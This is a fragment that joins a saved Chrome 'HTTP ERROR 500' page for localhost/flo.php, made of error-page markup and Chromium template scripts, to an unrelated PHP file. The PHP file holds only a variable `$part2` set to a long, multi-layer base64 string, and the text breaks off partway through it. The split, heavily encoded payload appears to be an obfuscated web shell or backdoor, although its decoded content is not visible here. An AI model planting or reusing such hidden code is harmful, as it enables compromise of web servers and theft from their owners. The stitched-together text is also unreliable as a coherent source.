MAMDB2RACzHB4MV8gA+Ug3owUUGVKYsA3KOhgwH4gHqBIUPlJGAiB1z9VZYB5rNlcXmDhIP5Ku1+qt60Kb2baYbE7u7IWTSczWp/EG1geirEAIBKkMgDeZfz3LF+aAG6gy/jvWb40AdwAAAYBAQEAApAEzMzMBAAAABQoAJcMgFHAACfgZB28r9ZKUKDQ1ze5X+SCM8AAoOANKk0IAw4="></audio>
</template>
</div>
<script jstcache="0">(function(){function l(a,b,c){return Function.prototype.call.apply(Array.prototype.slice,arguments)}function m(a,b,c){var e=l(arguments,2);return function(){return b.apply(a,e)}}function n(a,b){var c=new p(b);for(c.h=[a];c.h.length;){var e=c,d=c.h.shift();e.i(d);for(d=d.firstChild;d;d=d.nextSibling)1==d.nodeType&&e.h.push(d)}}function p(a){this.i=a}function q(a){a.style.display=""}function r(a){a.style.display="none"};var t=/\s*;\s*/;function u(a,b){this.l.apply(this,arguments)}u.prototype.l=function(a,b){this.a||(this.a={});if(b){var c=this.a,e=b.a;for(d in e)c[d]=e[d]}else{var d=this.a;e=v;for(c in e)d[c]=e[c]}this.a.$this=a;this.a.$context=this;this.f="undefined"!=typeof a&&null!=a?a:"";b||(this.a.$top=this.f)};var v={$default:null},w=[];function x(a){for(var b in a.a)delete a.a[b];a.f=null;w.push(a)}function y(a,b,c){try{return b.call(c,a.a,a.f)}catch(e){return v.$default}}
u.prototype.clone=function(a,b,c){if(0<w.length){var e=w.pop();u.call(e,a,this);a=e}else a=new u(a,this);a.a.$index=b;a.a.$count=c;return a};var z;window.trustedTypes&&(z=trustedTypes.createPolicy("jstemplate",{createScript:function(a){return a}}));var A={};function B(a){if(!A[a])try{var b="(function(a_, b_) { with (a_) with (b_) return "+a+" })",c=window.trustedTypes?z.createScript(b):b;A[a]=window.eval(c)}catch(e){}return A[a]}
function E(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c){var d=a[c].indexOf(":");if(!(0>d)){var g=a[c].substr(0,d).replace(/^\s+/,"").replace(/\s+$/,"");d=B(a[c].substr(d+1));b.push(g,d)}}return b};function F(){}var G=0,H={0:{}},I={},J={},K=[];function L(a){a.__jstcache||n(a,function(b){M(b)})}var N=[["jsselect",B],["jsdisplay",B],["jsvalues",E],["jsvars",E],["jseval",function(a){var b=[];a=a.split(t);for(var c=0,e=a.length;c<e;++c)if(a[c]){var d=B(a[c]);b.push(d)}return b}],["transclude",function(a){return a}],["jscontent",B],["jsskip",B]];
function M(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");if(null!=b)return a.__jstcache=H[b];b=K.length=0;for(var c=N.length;b<c;++b){var e=N[b][0],d=a.getAttribute(e);J[e]=d;null!=d&&K.push(e+"="+d)}if(0==K.length)return a.setAttribute("jstcache","0"),a.__jstcache=H[0];var g=K.join("&");if(b=I[g])return a.setAttribute("jstcache",b),a.__jstcache=H[b];var h={};b=0;for(c=N.length;b<c;++b){d=N[b];e=d[0];var f=d[1];d=J[e];null!=d&&(h[e]=f(d))}b=""+ ++G;a.setAttribute("jstcache",
b);H[b]=h;I[g]=b;return a.__jstcache=h}function P(a,b){a.j.push(b);a.o.push(0)}function Q(a){return a.c.length?a.c.pop():[]}
F.prototype.g=function(a,b){var c=R(b),e=c.transclude;if(e)(c=S(e))?(b.parentNode.replaceChild(c,b),e=Q(this),e.push(this.g,a,c),P(this,e)):b.parentNode.removeChild(b);else if(c=c.jsselect){c=y(a,c,b);var d=b.getAttribute("jsinstance");var g=!1;d&&("*"==d.charAt(0)?(d=parseInt(d.substr(1),10),g=!0):d=parseInt(d,10));var h=null!=c&&"object"==typeof c&&"number"==typeof c.length;e=h?c.length:1;var f=h&&0==e;if(h)if(f)d?b.parentNode.removeChild(b):(b.setAttribute("jsinstance","*0"),r(b));else if(q(b),
null===d||""===d||g&&d<e-1){g=Q(this);d=d||0;for(h=e-1;d<h;++d){var k=b.cloneNode(!0);b.parentNode.insertBefore(k,b);T(k,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,k,x,f,null)}T(b,c,d);f=a.clone(c[d],d,e);g.push(this.b,f,b,x,f,null);P(this,g)}else d<e?(g=c[d],T(b,c,d),f=a.clone(g,d,e),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g)):b.parentNode.removeChild(b);else null==c?r(b):(q(b),f=a.clone(c,0,1),g=Q(this),g.push(this.b,f,b,x,f,null),P(this,g))}else this.b(a,b)};
F.prototype.b=function(a,b){var c=R(b),e=c.jsdisplay;if(e){if(!y(a,e,b)){r(b);return}q(b)}if(e=c.jsvars)for(var d=0,g=e.length;d<g;d+=2){var h=e[d],f=y(a,e[d+1],b);a.a[h]=f}if(e=c.jsvalues)for(d=0,g=e.length;d<g;d+=2)if(f=e[d],h=y(a,e[d+1],b),"$"==f.charAt(0))a.a[f]=h;else if("."==f.charAt(0)){f=f.substr(1).split(".");for(var k=b,O=f.length,C=0,U=O-1;C<U;++C){var D=f[C];k[D]||(k[D]={});k=k[D]}k[f[O-1]]=h}else f&&("boolean"==typeof h?h?b.setAttribute(f,f):b.removeAttribute(f):b.setAttribute(f,""+h));
if(e=c.jseval)for(d=0,g=e.length;d<g;++d)y(a,e[d],b);e=c.jsskip;if(!e||!y(a,e,b))if(c=c.jscontent){if(c=""+y(a,c,b),b.innerHTML!=c){for(;b.firstChild;)e=b.firstChild,e.parentNode.removeChild(e);b.appendChild(this.m.createTextNode(c))}}else{c=Q(this);for(e=b.firstChild;e;e=e.nextSibling)1==e.nodeType&&c.push(this.g,a,e);c.length&&P(this,c)}};function R(a){if(a.__jstcache)return a.__jstcache;var b=a.getAttribute("jstcache");return b?a.__jstcache=H[b]:M(a)}
function S(a,b){var c=document;if(b){var e=c.getElementById(a);if(!e){e=b();var d=c.getElementById("jsts");d||(d=c.createElement("div"),d.id="jsts",r(d),d.style.position="absolute",c.body.appendChild(d));var g=c.createElement("div");d.appendChild(g);g.innerHTML=e;e=c.getElementById(a)}c=e}else c=c.getElementById(a);return c?(L(c),c=c.cloneNode(!0),c.removeAttribute("id"),c):null}function T(a,b,c){c==b.length-1?a.setAttribute("jsinstance","*"+c):a.setAttribute("jsinstance",""+c)};window.jstGetTemplate=S;window.JsEvalContext=u;window.jstProcess=function(a,b){var c=new F;L(b);c.m=b?9==b.nodeType?b:b.ownerDocument||document:document;var e=m(c,c.g,a,b),d=c.j=[],g=c.o=[];c.c=[];e();for(var h,f,k;d.length;)h=d[d.length-1],e=g[g.length-1],e>=h.length?(e=c,f=d.pop(),f.length=0,e.c.push(f),g.pop()):(f=h[e++],k=h[e++],h=h[e++],g[g.length-1]=e,f.call(c,k,h))};
})()</script><script jstcache="0">// Copyright 2012 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @fileoverview
* NOTE: This file is deprecated, and provides only the minimal LoadTimeData
* functions for places in the code still not using JS modules. Use
* load_time_data.m.js in all new code.
*
* This file defines a singleton which provides access to all data
* that is available as soon as the page's resources are loaded (before DOM
* content has finished loading). This data includes both localized strings and
* any data that is important to have ready from a very early stage (e.g. things
* that must be displayed right away).
*
* Note that loadTimeData is not guaranteed to be consistent between page
* refreshes (https://crbug.com/740629) and should not contain values that might
* change if the page is re-opened later.
*/
/** @type {!LoadTimeData} */
// eslint-disable-next-line no-var
var loadTimeData;
class LoadTimeData {
constructor() {
/** @type {?Object} */
this.data_ = null;
}
/**
* Sets the backing object.
*
* Note that there is no getter for |data_| to discourage abuse of the form:
*
* var value = loadTimeData.data()['key'];
*
* @param {Object} value The de-serialized page data.
*/
set data(value) {
expect(!this.data_, 'Re-setting data.');
this.data_ = value;
}
/**
* @param {string} id An ID of a value that might exist.
* @return {boolean} True if |id| is a key in the dictionary.
*/
valueExists(id) {
return id in this.data_;
}
/**
* Fetches a value, expecting that it exists.
* @param {string} id The key that identifies the desired value.
* @return {*} The corresponding value.
*/
getValue(id) {
expect(this.data_, 'No data. Did you remember to include strings.js?');
const value = this.data_[id];
expect(typeof value !== 'undefined', 'Could not find value for ' + id);
return value;
}
/**
* As above, but also makes sure that the value is a string.
* @param {string} id The key that identifies the desired string.
* @return {string} The corresponding string value.
*/
getString(id) {
const value = this.getValue(id);
expectIsType(id, value, 'string');
return /** @type {string} */ (value);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument.
* @param {string} id The ID of the string we want.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
getStringF(id, var_args) {
const value = this.getString(id);
if (!value) {
return '';
}
const args = Array.prototype.slice.call(arguments);
args[0] = value;
return this.substituteString.apply(this, args);
}
/**
* Returns a formatted localized string where $1 to $9 are replaced by the
* second to the tenth argument. Any standalone $ signs must be escaped as
* $$.
* @param {string} label The label to substitute through.
* This is not an resource ID.
* @param {...(string|number)} var_args The extra values to include in the
* formatted output.
* @return {string} The formatted string.
*/
substituteString(label, var_args) {
const varArgs = arguments;
return label.replace(/\$(.|$|\n)/g, function(m) {
expect(m.match(/\$[$1-9]/), 'Unescaped $ found in localized string.');
return m === '$$' ? '$' : varArgs[m[1]];
});
}
/**
* As above, but also makes sure that the value is a boolean.
* @param {string} id The key that identifies the desired boolean.
* @return {boolean} The corresponding boolean value.
*/
getBoolean(id) {
const value = this.getValue(id);
expectIsType(id, value, 'boolean');
return /** @type {boolean} */ (value);
}
/**
* As above, but also makes sure that the value is an integer.
* @param {string} id The key that identifies the desired number.
* @return {number} The corresponding number value.
*/
getInteger(id) {
const value = this.getValue(id);
expectIsType(id, value, 'number');
expect(value === Math.floor(value), 'Number isn\'t integer: ' + value);
return /** @type {number} */ (value);
}
/**
* Override values in loadTimeData with the values found in |replacements|.
* @param {Object} replacements The dictionary object of keys to replace.
*/
overrideValues(replacements) {
expect(
typeof replacements === 'object',
'Replacements must be a dictionary object.');
for (const key in replacements) {
this.data_[key] = replacements[key];
}
}
}
/**
* Checks condition, throws error message if expectation fails.
* @param {*} condition The condition to check for truthiness.
* @param {string} message The message to display if the check fails.
*/
function expect(condition, message) {
if (!condition) {
throw new Error(
'Unexpected condition on ' + document.location.href + ': ' + message);
}
}
/**
* Checks that the given value has the given type.
* @param {string} id The id of the value (only used for error message).
* @param {*} value The value to check the type on.
* @param {string} type The type we expect |value| to be.
*/
function expectIsType(id, value, type) {
expect(
typeof value === type, '[' + value + '] (' + id + ') is not a ' + type);
}
expect(!loadTimeData, 'should only include this file once');
loadTimeData = new LoadTimeData();
// Expose |loadTimeData| directly on |window|, since within a JS module the
// scope is local and not all files have been updated to import the exported
// |loadTimeData| explicitly.
window.loadTimeData = loadTimeData;
console.warn('crbug/1173575, non-JS module files deprecated.');
</script><script jstcache="0">const pageData = {"details":"Details","errorCode":"HTTP ERROR 500","fontfamily":"\"sans\", Arial, sans-serif","fontsize":"75%","heading":{"hostName":"localhost","msg":"This page isn’t working"},"hideDetails":"Hide details","iconClass":"icon-generic","language":"en","reloadButton":{"msg":"Reload","reloadUrl":"http://localhost/flo.php"},"suggestionsDetails":[],"suggestionsSummaryList":[],"summary":{"failedUrl":"http://localhost/flo.php","hostName":"localhost","msg":"\u003Cstrong jscontent=\"hostName\">\u003C/strong> is currently unable to handle this request."},"textdirection":"ltr","title":"localhost"};loadTimeData.data = pageData;var tp = document.getElementById('t');jstProcess(new JsEvalContext(pageData), tp);</script></body></html>
<?php
$part2='MVViR2xaVkdoc1RucFZNbGxxVVROYWFrRnBUM2R2YTFreU9YTmlNMGxuVUZOQmFVa3lVbTFPVTBrM1EybFNhMXBYV21oa1YzZ3dXREpHYW1SSGJIWmlhVUU1U1VOa1IyRlhlR3hqTURGb1ltbGpOME5wVW10YVYxcG9aRmQ0TUZnelZucGFWamxvWVcxR05FbEVNR2RrU0VveFdsUnpTMHBIVW14YWJVWXhZa2hTWmxreWFHaGpiazVzWkVOQk9VbERaRmhoVnpWcllqTmtla3hVUlhsT1ZFVnVUM2R2WjBOdGJHMUxRMFpzWWxoQ01HVlRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1VmxVd1ZsTllNRVpJVWxVMVZVb3hNSEJMVTBJM1EybEJaMGxEUVd0a1dFNXNZMnRHYmxwWE5UQmplVUU1U1VkR2VXTnRSalZMUTBwSVlqSTVibUpIVldsTVEwRnBWVEo0TVdOdVFXbE1RMEZwVkZaT1QxRnRPVEJKYVhkblNXMXNhRmd5Um5sWk1taHdaRzFXZVVscGQyZEpiR3hvWW0xU2JHVkRTWE5KUTBwVFdWY3hhV0pIVm5sSmFXczNRMmxCWjBsRFFuQmFhV2gzWTIxV2JsZ3lNV2hrUjA1dlMwTmpka3A1UVhWSlIyeDBZMGQ0ZGxwSFZXOUtNM2R1VEVOQmEyUllUbXhqYTBadVdsYzFNR041YTJkTWFVRnVUREpyYmt4RFFXdFlNVTVHVld4YVJsVnNjMjVUUmxKVlZVWTVWbFV3VmxOWU1FWklVbFUxVlVveE1IQkxVMEkzUTJsQlowbERRV2RKUTBGbllVZFdhRnBIVm5sTFEyUkpWa1pTVVV4NlJYVk5RMEV3VFVSUloxUnRPVEJKUlZwMlpGYzFhMHA1YXpkRGFVRm5TVU5CWjBsRFFXZGFXR2h3WkVSelMwbERRV2RKU0RCTFpsRnZaME5yUW5CaWJXeG1ZekpXTUV0RFpHeGpia3AyWTJ3NWMySXlZMjVNUlRWV1ZFVjNjRTkzY0VGaFZ6VndXRE5PYkdSRFoyNWlSemx1V0RKV2VXTnRPWGxqZVdOelRVTnJOME5yUW5CaWJXeG1ZekpXTUV0RFpIUlpXR2htV2xob2JGa3pWakJoVnpsMVdETlNjR0pYVlc1TVJFRndUM2R3UVdNeVZqQllNMUp3WWxkV1ptSkhiSFJoV0ZGdlRVTnJOME5yUW5wYVdGSm1ZbGRHYm1GWFRtWmpXRloyWkVkV2VsZ3pTakZpYmxKd1lsZFZiMDFEYXpkRGEwSnJXbGRhY0dKdFZXOUtNV1JVVkRFNVYxSldTbFJUVlRsUFNubDNaMHA2U1hWUFEyTndUM2R2WjBOdGJHMUxSMlJzWkVZNWRGbFhaSEJaTVRsNFpGYzVNRnBZVG1aYU0wSnFTME5yY0VsSWMwdEpRMEZuU1VkYU1XSnRUakJoVnpsMVNVWmtWRlF6VGpCamJXeDNZeko0YUdNeWFHeGplV2RyV1ZoS2VWbFlhM0JKU0hOTFNVTkJaMGxEUVdkSlEwSjVXbGhTTVdOdE5HZGhXRTVtV1ZoS2VWbFlhMjlLUjBaNVkyMUdOVXRUUVM5SlIwWjVZMjFHTlZneU1XaGpRMmR1VmpGT1VHTXpVbmxoV0VKNllrZEdlbUZIVm5wS2VYZG5Ta2RHZVdOdFJqVkxVMEUyU1VoT01HTnRiSGRqTW5ob1l6Sm9iR041WjJ0WldFcDVXVmhyY0U5M2IyZEpRMEZuWmxGdlowbERRV2RLUmpsUlZERk9WVWxFTUdkV01VNVFZek5TZVdGWVFucGlSMFo2WVVkV2VrdERVbVpWUlRsVVZrTnJOME5wUVdkSlEwRnJXREJPVUZRd2RFcFNVMEU1U1Vaa1ZGUXpUakJqYld4M1l6SjRhR015YUd4amVXZHJXREJPVUZRd2RFcFNVMnMzUTI0d1MwbEJjRzFrVnpWcVpFZHNkbUpwUWpOak1qbE5ZakprY0dKcFozQkpTSE5MU1VOQlowbEhVbkJhVTJkcFVFaENlVnBUUW1oaVIyeHVZbW94YWxwWE5UQmFXRWtyVUVkYWRtTnRNR2RpVjFZd1lVYzVhMUJZUW5aak0xRXJWVWRHZW1NelpIWmpiVkUyU1VSNGNHSnVRakZrUTBJd1pWaENiRkJZUW1oak0wNHpZak5LYTBsSE5XaGlWMVU1WTBkR2VtTjZORGhoVnpWM1pGaFJaMlJJYkhkYVZERjZaRmRLZEdGWVVXZGtiVVp6WkZkVk9VcDZOQ3RLZWpRNFRESmFkbU50TUN0UVF6bDNZMjFWSzBscGF6ZERiakJMU1VGd2JXUlhOV3BrUjJ4MlltbENXRlV3T1hwYVdGSnFZakk1Y21GWFZXOUtSM056U1VOU01rdFRRamREYVVGblNVTkJhMWd3VGxCVU1IUktVbFp6YTJFeE1HZFFVMEZyWkdwelMwbERRV2RKU0U1c1pFZE9kbUl5ZEhCYVUyZHJZWGwzWjBwSVdYQlBkM0E1UTJsQlMyRlhXVzlKVjFaMFkwaFNOVXREVW1oa1dGSnZXRE5DYUdNelRYQkxVMEkzUTJsQlowbERRbkJhYVdod1l6Tk9iR1JEWjJ0WU1VSlFWVEZTWWtvelFtaGpNMDF1V0ZOclowcHBXV2RMUnpGclRsTm5hMWd4UWxCVk1WSmlTak5DYUdNelRXNVlVMnRuVUZRd1owcEhSakZrUjJobVkwZEdlbU41YTNCRGFVRm5TVU5CWjBsRFFXZFdNVTVRWXpKV01Ga3lPWFpoTW14c1MwY3hhMDVUWjJ0WU1VNUdWV3hhUmxWc2MyNVRSbEpWVlVZNVNWUXhUbFZLTVRCd1RFTkJhMWxZVmpCaFJqbDNXVmhPZWt0VWMwdEpRVzluU1VOQloyRlhXV2RMUTBad1l6Tk9iR1JEWjJ0WU1FNVFWREIwU2xKV2RIUmFSRlZ2U2tZNVZGSldTbGRTVmtwaVNqQm9WVlpHUW1aVFJUbFVWa05rWkV0V01IQkpTSGc0U1VObmExZ3dUbEJVTUhSS1VsWjBkRnBFVlc5S1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psTkZPVlJXUTJSa1MxWXdaMGxVTUdkS1IwWXhaRWRvWm1OSFJucGplV3R3UTJsQlowbERRV2RKUTBGblpETk9kbFJIT1c1aFZ6UnZTMVJ6UzJaUmIyZERiV3h0UzBoT01HTnVVblppUnpreldsaEpiMk16Vm1sak0xSjVTMFpDU1ZWR09WQlZlWGQzVEVSTmNFdFRRVGxRVTBGcFpESnNkVWxwYTB0SlEwRm5TVU5TZG1ONVFUbEpRMlF6WVZjMGJrOTNjR3hpU0U1c1EybEJaMGxEUVd0aU0wMW5VRk5CYm1KdGJEUktlbk5MU1VGdmEyTXlSbTFhVmpsMFlqSlNiRWxFTUdkUlIyeDFZVlk1YmxwWVVXOUtNMDVvV20xV1ptSlhPV3RhVTJOd1QzZHdjRnBwWjJoS1NFNW9XbTFXWm1KWE9XdGFVMnRMU1VOQlowbEhWbmxqYlRsNVdETktiR05IT1hsa1IyeDFXbmxuZDB0VWMwdEpRVzlyV2tkc2VsbFhTbk5hVmpsdFpGYzFhbVJIYkhaaWJrMW5VRk5DUVdGWE5YQllNbVJzWkVObmJscEhiSHBaVjBweldsWTViV1JYTldwa1IyeDJZbTVOYmt0VWMwdEtSMmgyWWxkV1psa3paR3RKUkRCblVVZGtiR1JIVGpOYVEyZHdUM2R3Y0ZwcGFIQmpNMDVzWkVObmExZ3hRbEJWTVZKaVNqSk5ibGhUYTNCRGFVRm5TVU5DUVZreWFHdGhXRWx2U2tZNVVWUXhUbFZYZVdScVNqRXdjRTkzYjJ0Wk0yUnJTVVF3WjFGSFpHeGtSMDR6V2tObmNFOTNjSEJhYVdkcllqTk5aMUJVTUdkS00yUndZbWxqY0VsSWMwdEpRMEZuU1VOU2IySXlNV3hZTWs0eldrTkJPVWxJVGpCamJEbDVXbGhDYzFsWFRteExRMHBqV0VOSmMwbERTWFpKYVhkblNrZG9kbUpYVm1aWk0yUnJTMVJ6UzBsRFFXZEpRMUpxWkRKUloxQlRRbnBrU0VwbVkyMVdkMkpIUm1wYVUyZHBXRVozYVV4RFFXbE1lVWx6U1VOU2FtUXlVWEJQZDNBNVEyMXNiVXREVW1wa01sSmlZek5TZVdKSFZuVkxRMUpxWkRKUmNFeFVSbVJKUTBVNVNVTmpka3A1YTB0SlEwRm5TVU5TYW1ReVVXZE1hakJuU25rNGJrOTNiMmREYld4dFMwTkdjR016VG14a1EyZHJXREJPVUZRd2RFcFNWblIwV2tSVmIwcEdPVlJTVmtwWFVsWktZa293YUZWV1JrSm1VMFU1VkZaRFpHUkxVMEYxU1VOa2FHRnRSalJLTVRCd1MxRnZaMGxEUVdkS1JqbEVWREE1VEZOVlZtSmlWMUV4UzBOU1psVXdWbE5XYTFaVFYzbGtTVlpHVWxGWU1HaFFWVEZSYmxoVGEyZE1hVUZ1V1Zkd2FHVkRaR1JKUkRCblMwZEtkbUl5ZDNCS1IxSnNXbTFHTVdKSVVtWmtXRTVzV0RKR2NWbFlaemREYVVGTFlWZFpiMHBIT1hwSlJEQTVTVU5rTTJGWE5HNUxVVzluU1VOQlowcEhSbk5oVjBaNldsaE5aMUJUUW1oamJrcG9aVk5uUzBsRFFXZEpRMEZuU1VOQmFWUkhiSHBrUTBKRllWaEtiRmt6VW5aamJtdHBTVVF3SzBsRFNtdGhXRWxwVEVGdlowbERRV2RKUTBGblNVTktSMkZYTld0SlIyeDFXa2RXTkV4dVFtOWpRMEp3WW1sQ2FtUllTbmxhVnpVd1NVZFNjR05wU1dkUVZEUm5TVzFTY0dOcFFYWmplVUYyWkhsQmRsbHBRbkJpYlZKc1pVTTFkMkZJUVdsTVFXOW5TVU5CWjBsRFFXZEpRMHBIWVZjMWEwbERjR3BpTWpWdFlWZGpjVXh1UW05alEwSndZbWxDYW1SWVNubGFWelV3U1VkU2NHTnBTV2RRVkRSblNXMVNjR05wUVhaamVVRjJaSGxCZGxscFFYRlpNamwxV20xc2JrdHBOWGRoU0VGcFRFRnZaMGxEUVdkSlEwRm5TVU5LVkdGSE9UTkpSMFpxWkVkc01scFRRbXBpTWpWMVdsZE9NR0ZYT1hWamVVbG5VRlEwWjBsdE5XeGtTRTR3V1ZoUloweFhSblZKYVhkTFNVTkJaMGxEUVdkSlEwRnBWVEpvZG1SNVFubGtWelYxWVZjMWJrbElUbXhqYmxwd1dUSldla2xwUVRsUWFVRnBZbTFXTUVsSVRqQlpXRW93U1dsM1MwbERRV2RKUTBGblNVTkJhVlpZVG14amFVSm9XVEpPZG1SWE5UQmplVWxuVUZRMFowbHROV3hrUTBJeFl6SldlVWxwZDB0SlEwRm5TVU5CWjBsRFFXbFZNbWgyWkhsQ2FtSXlNWGRrV0ZKc1kyNU5hVWxFTUN0SlEwcDFXbGhSWjJSdGJHeGtlVWx6UTJsQlowbERRV2RKUTBGblNXdEdVMVZEUWxWWlYwcHpXbE5KWjFCVU5HZEpiVVo1WTBOQmRGbFRTWE5EYVVGblNVTkJaMGxEUVdkSmEyeFJTVVZPZG1KdFduQmFNMVo1V1ZoU2NHSXlOR2xKUkRBclNVTktjR05IVG5aaWJWcHdXbmxCZGxsWGVITkpaMjluU1VOQlowdFVjMHRhVjNoNldsRnZaMGxEUVdkS1IwWnpZVmRHZWxwWVRXZFFVMEpvWTI1S2FHVlRaMHRKUTBGblNVTkJaMGxEUVdsVVIyeDZaRU5DYTJGWVNXbEpSREFyU1VOS2MyTjVRWFJpUjJob1NXbDNTMGxEUVdkSlEwRm5TVU5CYVdKSGJIcGtRMEp0WVZkNGJFbEhSakJrU0Vwd1dXNVdNRnBZVFdkaU1qUm5XVk5DVFdGWE5URmxRMEo2V2xkT2RtSnRVV2RhV0dnd1dsYzFhMXBYVVdkYWJXeHpXbE5DZW1WWVRqQmFWekJwU1VRd0swbERTbk5qTWtZd1pFaEpaMHhZV21oSmFYZExTVU5CWjBsRFFXZEpRMEZwWXpKb2RtUjVRblpqUjFaMVdsZFJaMk5IT1hsa1NFMXBTVVF3SzBsRFNuVmFXRko2WkVkR01FbERNV2hpYVVJNFNVZGtlVnBZUVdkTVYydG5Za2RzZW1SSFZuVkphWGRMU1VOQlowbERRV2RKUTBGcFkwaEtkbGt5Vm5wamVVSjZaRWRHTUdSWVRXbEpSREFyU1VOS2QyTjVRbWhrV0dkcFRFRnZaMGxEUVdkSlEwRm5TVU5LUjJGWE5XdEphVUU1VUdsQmFVbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05DZW1SWGJHdEphVUU1VUdsQmFWcHRiSFZhUTBGMlNVTXhNR1ZZUW14SlIxbG5URmhDYkdOdE1HZE1WRUV3VFVSQmQwbERNWE5qZVVselEybEJaMGxEUVdkSlEwRm5TVzFhY0dKdFVXZGpNMVp3V2tOQ2NHSnBRbXBrV0VwNVdsYzFNRWxIVW5CamFVbG5VRlEwWjBsdFduQmliVkZuVEdsQmRHUkliSGRhVTBKdFNVTXhkMXBZU25SSlF6QjNUa1JCZDAxRFFYUmlTRTFwVEVGdlowbERRV2RKUTBGblNVTktiV0ZYTld0SlNFNXVZVmRSYVVsRU1DdEpRMHB0WVZjMWEwbERPR2RNV0ZJMVkwZFZaMXBwUVhSalIxWjVZbE5CZEUxRVNYZE5SRUZuVEZkNGVrbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05DZWxveWJHdEpSMXB3WWtkV2VrbEhiSFZKUjA0eFkyNUtiR0p1VVdkYVIyeDVTV2xCT1ZCcFFXbGFiV3gxV2tOQmRVbERNVEJsV0VKc1NVZFpaMHhZUW14amJUQm5URlJCZVUxRVFYZEpRekZ6WTNsSmMwTnBRV2RKUTBGblNVTkJaMGx0V25CaWJWRm5XVEk1ZFZwdGJHNU1iV3gxV1hrMWQyRklRV2xKUkRBclNVTktiV0ZYTld0SlF6aG5URmhTTldOSFZXZGFhVUYwWW0xR2RGcFRRbXBpTWpWdFlWZGpkV0ZYTldwTWJrSnZZME5KYzBOcFFXZEpRMEZuU1VOQlowbHRXbkJpYlZGbldUSTVkVnB0Ykc1TGFVbG5VRlEwWjBsdFduQmliVkZuVEhsQmRHUkliSGRhVTBKdFNVTXhkVmxYTVd4SlJuZHBXVEk1ZFZwdGJHNUxiSGRwU1dsM1MwbERRV2RKUTBGblNVTkJhVnB0YkhWYVEwSnFZakkxYldGWFkzRkpSMngxU1VkT01XTnVTbXhpYmxGbldrZHNlVWxwUVRsUWFVRnBXbTFzZFZwRFFYVkpRekV3WlZoQ2JFbEhXV2RNVnpWb1lsZFZaMWhEU21waU1qVnRZVmRqY1ZoRFNXbE1RVzluU1VOQlowbERRV2RKUTBwdFlWYzFhMGxJWkhsaFdGSm9XVzE0YkVsSFduWmlSMUpzWTI1TloxbFhOV3RKUjFwd1lrZFdla2xwUVRsUWFVRnBXbTFzZFZwRFFYWkpRekYzV2xoS2RFbERNSGxKUXpGelkzbEpjME5wUVdkSlEwRm5TVU5CWjBsdFduQmliVkZuWkROS2NHUkhSbWxpUjFWbldtMDVjMXBIVm5samVVSm9ZbTFSWjFwdGJITmFXRTFuWVZjMFoxa3pWbmxqYlZaMVpFTkNhMkZZU1dsSlJEQXJTVU5LYldGWE5XdEpRelJuVEZoQ2JHTnRNR2RNVkVsblRGZDRla2xwZDB0SlEwRm5TVU5CWjBsRFFXbGFiV3gxV2tOQ2VscFlTakpoVjA1c1RHNUNNMXBEU1dkUVZEUm5TVzFhY0dKdFVXZE1lVUYwWkVoc2QxcFRRbTFKUXpGMVdWY3hiRWxJVG14amJscHdXVEpWZFdOSVpHdEphWGRMU1VOQlowbERRV2RKUTBGcFdtMXNkVnBEUW5wYVdFb3lZVmRPYkV4dVFqTmFRMEp0WVZkNGJHTjVRbkJpYVVKcVpGaEtlVnBYTlRCSlIxSndZMmxKWjFCVU5HZEpiVnB3WW0xUloweHBRWFJrU0d4M1dsTkNiVWxETVhWWlZ6RnNTVWhPYkdOdVduQlpNbFYxWTBoa2EwbHBkMHRKUTBGblNVTkJaMGxEUVdsYWJXeDFXa05CZFdGSVVuZFpXRTU2WkRKUmFVbEVNQ3RKUTBwdFlWYzFhMGxET0dkTVdGSTFZMGRWWjFwcFFYUmliVVowV2xOQmRXRklVbmRaV0U1NlpESlJhVXhCYjJkSlEwRm5TVU5CWjBsRFNtMWhWelZyU1VNMWIyUklRbWhqTTA0eldrTkNiV0ZYZUd4amVVSndZbWxDYW1SWVNubGFWelV3U1VkU2NHTnBTV2RRVkRSblNXMWFjR0p0VVdkTWFVRjBaRWhzZDFwVFFtMUpRekYxV1ZjeGJFbEROVzlrU0VKb1l6Tk9NMXBEU1hORGFVRm5TVU5CWjBsRFFXZEpiVnB3WW0xUloweHRTbWhqTW1obVlVZHNlbVJIT1hsbFUwbG5VRlEwWjBsdFduQmliVkZuVEhsQmRHUkliSGRhVTBKdFNVTXhkVmxYTVd4SlF6VnBXVmhPYjFneWFIQmpNMUoyWTI1cmFVeEJiMmRKUTBGblNVTkJaMGxEU20xaFZ6VnJTVU0xYVZsWVRtOVlNbWh3WXpOU2RtTnVhMmRhYld4eldsaE5aMkZYTkdkWk0xWjVZMjFXZFdSRFFtdGhXRWxwU1VRd0swbERTbTFoVnpWclNVTTBaMHhZVWpWalIxVm5XbWxCZEdKdFJuUmFVMEYxV1cxR2VtRkdPVzloV0U0d1lqTktOVWxwZDB0SlEwRm5TVU5CWjBsRFFXbGFiV3gxV2tOQmRWcHRWakJaTW1oMFdWZHNjMk50VFdsSlJEQXJTVU5LYldGWE5XdEpRemhuVEZoU05XTkhWV2RhYVVGMFltMUdkRnBUUVhWYWJWWXdXVEpvZEZsWGJITmpiVTFwVEVGdlowbERRV2RKUTBGblNVTktiV0ZYTld0SlF6VnRXbGhTYW1GSE1XaGhWM2g1V1hsQ2JXRlhlR3hqZVVKd1ltbENhbVJZU25sYVZ6VXdTVWRTY0dOcFNXZFFWRFJuU1cxYWNHSnRVV2RNYVVGMFpFaHNkMXBUUW0xSlF6RjFXVmN4YkVsRE5XMWFXRkpxWVVjeGFHRlhlSGxaZVVselEybEJaMGxEUVdkSlEwRm5TV3Q0ZGxreVJqQmFVMGxuVUZRMFowbHBTWE5EYVVGblNVTkJaMGxEUVdkSmJYaDJXVEpHTUZwVFFtOWtTRkozV2tNMWFtSXlOVzFKYVVFNVVHbEJhV0pIT1dwWldGSnNTVWRvTUdSSVFtdE1iVTUyWW0xWmFVeEJiMmRKUTBGblNVTkJaMGxEU25OaU1r